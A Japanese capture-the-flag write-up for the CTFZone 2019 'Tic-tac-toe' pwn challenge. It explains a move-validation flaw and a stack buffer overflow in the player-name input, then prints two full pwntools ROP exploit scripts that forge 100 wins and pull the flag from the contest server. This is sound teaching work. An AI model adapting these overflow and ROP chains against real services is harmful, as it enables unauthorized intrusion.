イントロ
いつぞや行われたロシアの野良 CTF CTFZone CTF 2019。
野良かと思ってたら DEFCON Quals になっていた。 今回はその pwn 問題 Tic-tac-toe。 この writeup を書く。 慣れない形式でだいぶ渋かった。
表層解析
名前の示すとおりマルバツゲームを行う。 配布ファイルは以下の 2 つ:
tictactoe
C で書かれたフロントサイドのサーバプログラム。
後述するserver.py
及びユーザと対話する。
ポート8889
を使う:
1./tictactoe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=292bbd6ea3adfb92195a360d1af03ce2757879ba, for GNU/Linux 3.2.0, with debug_info, not stripped
2Arch: amd64-64-little
3RELRO: No RELRO
4Stack: No canary found
5NX: NX disabled
6PIE: No PIE (0x400000)
7RWX: Has RWX segments
debug-info 付きの pwn バイナリ初めて見た。
server.py
バックエンドで動くサーバプログラム。
フロントサイドのサーバと対話する。
ポート9998
を使う。
プログラムの概要
概要
単純な 3x3 のまるばつゲームを行うプログラム:
コンピュータが常に先手であり、 100 勝せよと言われる。
大前提としてまるばつゲームは先手必勝のゲームであり、 先手が常に最善手を打てばプレイヤ側は引き分け以下が確定している。 このプログラムに於いてはコンピュータは常に最善手を打つため、 プログラムの脆弱性を突かないと 100%勝てない。
サーバの役割
以下では C で書かれたフロントエンドのサーバを F サーバ、 python で書かれたバックエンドのサーバを B サーバと呼ぶ。
F サーバは char board[9]
によって盤面を保持する。
コンピュータ、ユーザの手を計算・入力したあとboard
に代入する。
実際に勝ち負け等の判定をするのは B サーバの方である。
B サーバは F サーバとは独立して、
盤面を始めとして、ユーザを識別するsessionID
や、連勝数を示すlevel
等の内部状態を保持している。
F サーバは 1 ターン終わるごとにsend_state()
によって、
コンピュータとユーザの手及びsessionID
を送信する。
B サーバはそれを元にして勝敗の判定等を行い、
まだゲームを続けるべきか、勝利処理をするべきか、勝ったからフラグを取りに来いと言うか等の指示を返す。
なおsessionID
ごとに内部情報は別々に保持されている。
それから F サーバは簡単に落ちるが、 F サーバが落ちても B サーバは動き続け内部情報を保持し続ける。
使わなかった脆弱性 = 1勝はできる
F サーバでユーザの入力処理を行うのは以下の部分:
.c 1do {
2 if ((('0' < move[0]) && (move[0] < ':')) && (sVar2 = strlen(move), sVar2 < 0x3)) {
3 while( true ) {
4 if (board[(long)move[0] + -0x31] == '\0') {
5 return (int)move[0] + -0x31;
6 }
7 sVar2 = strlen(try_again_msg);
8 iVar1 = send_all(psock,try_again_msg,(int)sVar2);
9 if (iVar1 < 0x0) break;
10 iVar1 = recv_all(psock,move,0x2);
11 if (iVar1 < 0x0) {
12 puts("[-] Error geting player\'s move in get_human_move()");
13 /* WARNING: Subroutine does not return */
14 _exit(0x7);
15 }
16 }
17 puts("[-] Error seniding try-again message to user in get_human_move()");
18 /* WARNING: Subroutine does not return */
19 _exit(0x7);
20 }
最初の if では入力が'1’~‘9’に収まっているか&&入力文字数が 2 以下か&&そのマスが空いているかの 3 点をチェックしているが、
この第3条件のみを満たさない場合、内部の while ループに入る。
そこでは第3条件のチェックが抜かされており、‘1’~‘9’以外の値を入力することが可能になっている。
これを利用して例えば’.’(==‘1’-0x3)を入力すると、board[-3]
に打つことができる。
コレのうまいところは、F/B サーバで内部状態が別々に保持されているということ+B サーバが python で書かれているということが利用できるとこである。
send_state()
に於いてユーザの入力が-3
として送られた場合、B サーバでは以下の処理がなされる:
1if (self.sessions[session]['field'][cmove] != 0) or (hmove != -1 and self.sessions[session]['field'][hmove] != 0):
2 self.sessions[session]['field'] = [0, 0, 0, 0, 0, 0, 0, 0, 0]
3 return (ERROR_MOVE,)
4 self.sessions[session]['field'][cmove] = Xs
5 if hmove != -1:
6 self.sessions[session]['field'][hmove] = Os
7 win = self.check_win(self.sessions[session]['field'])
ここでhmove
が -3
だとすると、
python では valid な入力となりboard[-3]==board[6]
に入力されたことになる
(打つマスにコマがあるかの判定は F サーバの入力フェーズにのみあるため、上書きができる!)。
これを利用すると、 本来勝つことができない後手が以下のように勝利することができる:
だがこの方法では
F サーバに於いてboard[-3]
に値を入れることになる。
board[0~8]はゲームの度に 0 クリアされるが、
範囲外の[-3]
はクリアされないため2回目以降打つことができないため禁じ手となる。
よって却下!
自明な BoF から ROP で sessionID を保ったまま連勝する
name バッファの BoF
最初の名前入力で自明な BoF がある (大変不甲斐ない話だが、上のやり方に固執してしまい、人に言われるまでその関数を無視していた。。。)
.c1char tmp_name [0x10];
2(...snipped...)
3 iVar1 = recv_all(psock,tmp_name,0x800);
4 if (iVar1 < 0x0) {
5 close(psock);
6 puts("[-] Error receiving name in process_game()");
7 iVar1 = -0x1;
8 }
0x7f0
もオーバーフローできる。
これを用いて ROP を組んでいく
(幸い PIE 無効)。
sessionID をリークしたまま連勝する
こっからはごく普通の ROP になる。
但し騙すべきは F サーバではなく B サーバである。
よって F サーバの処理はすっとばしてsend_state()
のみを呼べばいい
その際連勝記録を保持するためにも sessionID を引数に渡す必要がある。
ここでtmp_name[0x800]
自体はスタックにあり参照することが難しいため、
tmp_name
がコピーされるname
を既知のアドレスとして使いつつ ROP する。
なお pop rcx/ pop rdx
に該当するガジェットが見つからなかったが、
今回は幸いにも NX disabled なため、
足りないガジェットは自分で作ればいい
(これものちにアクセスできる.bss 領域のname
バッファに入れる)。
100 連勝するスクリプト
ということで以下のスクリプトで 100 勝できる:
win.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4#####################
5# win_100times.py #
6#####################
7
8from pwn import *
9import sys
10
11FILENAME = "./tictactoe"
12
13rhp1 = {"host":"pwn-tictactoe.ctfz.one","port":8889}
14rhp2 = {'host':"localhost",'port':8889}
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17
18show_flag = 0x40195f
19case1 = 0x0401d94
20case6 = 0x0401e82
21init_array = 0x405000
22pop_rdi = 0x0040310b
23pop_rsi_r15 = 0x00403109
24pop_r14_r15 = 0x00403108
25name = 0x405770
26reg_user = 0x4016b4
27send3 = 0x401e31
28send_message = 0x401768
29server_ip = 0x405728
30session = 0x405740
31send_state = 0x402a74
32jmp_rax = 0x0040120c
33
34def exploit(conn):
35 print("[+]session: "+dummy_session)
36 conn.recvuntil("name: ")
37
38 inj = dummy_session
39 inj += "\x59\xc3" #pop rcx; ret
40 inj += "\x5a\xc3" #pop rdx; ret
41 inj += "\x58\xc3" #pop rax; ret
42 inj += "A"*(0x30-len(inj))
43 inj += "10.0.15.252\0"
44 inj += "A"*(0x50-len(inj))
45 inj += "A"*8 #rbp
46
47 for i in range(1):
48 inj += p64(pop_rdi) #server_ip用意
49 inj += p64(name+0x30)
50 inj += p64(pop_rsi_r15) #sessionID用意
51 inj += p64(name)
52 inj += p64(0)
53 inj += p64(name+0x20) #hmove用意
54 inj += p64(2)
55 inj += p64(name+0x20+2) #cmove用意
56 inj += p64(0)
57 inj += p64(send_state)
58
59 inj += p64(pop_rdi) #server_ip用意
60 inj += p64(name+0x30)
61 inj += p64(pop_rsi_r15) #sessionID用意
62 inj += p64(name)
63 inj += p64(0)
64 inj += p64(name+0x20) #hmove用意
65 inj += p64(5)
66 inj += p64(name+0x20+2) #cmove用意
67 inj += p64(1)
68 inj += p64(send_state)
69
70 inj += p64(pop_rdi) #server_ip用意
71 inj += p64(name+0x30)
72 inj += p64(pop_rsi_r15) #sessionID用意
73 inj += p64(name)
74 inj += p64(0)
75 inj += p64(name+0x20) #hmove用意
76 inj += p64(8)
77 inj += p64(name+0x20+2) #cmove用意
78 inj += p64(6)
79 inj += p64(send_state)
80
81
82 conn.sendline(inj) #発火
83
84
85is_remote = 0
86
87if len(sys.argv)>1:
88 if sys.argv[1][0]=="d":
89 cmd = """
90 set follow-fork-mode parent
91 """
92 conn = gdb.debug(FILENAME,cmd)
93 elif sys.argv[1][0]=="r":
94 conn = remote(rhp1["host"],rhp1["port"])
95 is_remote = 1
96else:
97 conn = remote(rhp2['host'],rhp2['port'])
98
99
100dummy_session = raw_input("dummy_session > ")[:32]
101exploit(conn)
102
103print("i:"+str(1))
104if is_remote==1:
105 for i in range(99):
106 conn = remote(rhp1["host"],rhp1["port"])
107 exploit(conn)
108 print("i:"+str(i+2))
ご褒美に flag を貰う
ここまで行ったら B サーバに連絡して flag を貰う (100 勝するまでに flag を要求すると、お前チートしとるやろとキレられる)。
ROP では、まず最初にsend_get_flag()
を呼ぶ。
これで F サーバから B サーバに flag を要求し flag を貰う。
sessionID は 100 連勝したやつにする。
msg バッファはスタック上にあって参照できないため name バッファを使う。
自作のpop rdx
ガジェットはまだ使いたいし上書きされては困るため少しバッファをずらす。
続いて、send_all()
を呼ぶ。
これで F サーバからローカルにメッセージ(flag)を落とす。
以上をしてくれるスクリプトが以下:
request_flag.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4########################
5# request_flag.py #
6########################
7
8from pwn import *
9import sys
10
11FILENAME = "./tictactoe"
12
13rhp1 = {"host":"pwn-tictactoe.ctfz.one","port":8889}
14rhp2 = {'host':"localhost",'port':8889}
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17
18show_flag = 0x40195f
19case1 = 0x0401d94
20case6 = 0x0401e82
21init_array = 0x405000
22pop_rdi = 0x0040310b
23pop_rsi_r15 = 0x00403109
24pop_r14_r15 = 0x00403108
25name = 0x405770
26reg_user = 0x4016b4
27send3 = 0x401e31
28send_message = 0x401768
29server_ip = 0x405728
30session = 0x405740
31send_state = 0x402a74
32jmp_rax = 0x0040120c
33send_get_flag = 0x0402ce1
34psock = 0x405720
35send_all = 0x402f87
36
37def exploit(conn):
38 dummy_session = raw_input("dummy_session> ")[:32]
39 conn.recvuntil("name: ")
40 raw_input()
41
42 inj = "\x5a\xc3" #pop rdx; ret
43 inj += dummy_session
44 inj += "A"*(0x30-len(inj))
45 inj += "10.0.15.252\0"
46 inj += "A"*(0x50-len(inj))
47 inj += "A"*8 #rbp
48
49 inj += p64(pop_rdi)
50 inj += p64(name+0x30)
51 inj += p64(pop_rsi_r15)
52 inj += p64(name+2)
53 inj += p64(0)
54 inj += p64(name)
55 inj += p64(name+2)
56 inj += p64(send_get_flag)
57
58 inj += p64(pop_rdi)
59 inj += p64(4)
60 inj += p64(pop_rsi_r15)
61 inj += p64(name+2)
62 inj += p64(0)
63 inj += p64(name)
64 inj += p64(0x40)
65 inj += p64(send_all)
66
67
68 conn.sendline(inj) #発火
69
70
71
72if len(sys.argv)>1:
73 if sys.argv[1][0]=="d":
74 cmd = """
75 set follow-fork-mode parent
76 """
77 conn = gdb.debug(FILENAME,cmd)
78 elif sys.argv[1][0]=="r":
79 conn = remote(rhp1["host"],rhp1["port"])
80else:
81 conn = remote(rhp2['host'],rhp2['port'])
82exploit(conn)
83conn.interactive()
exploit
- 普通に
nc
して sessionID を発行してメモる - スクリプト 1 で 100 勝する
- スクリプト 2 でフラグを取る
ただし、B サーバも127.0.0.1
で動いていると思っていたら、
実際は10.0.15.252
で動いている。
これは mora 先輩が Server IP をリークして見つけてくれました ♥
結果
アウトロ
TWCTF で flag が取れなかったので今回取れて凄い嬉しかった。
newbie な自分にとってこういう割とガチでやる CTF で一番しんどいのは、 長いこと自分が考えた問題をチームの他のメンバに取られることだと思っている (強い人だとチーム第一なんだろうけど、newbie なので自分で取るというのに凄い固執しちゃう)。
ということを言っていたら、 先輩が自分のために問題を解かずに待っていてくれたのが凄い感動した。
引越し準備も佳境です。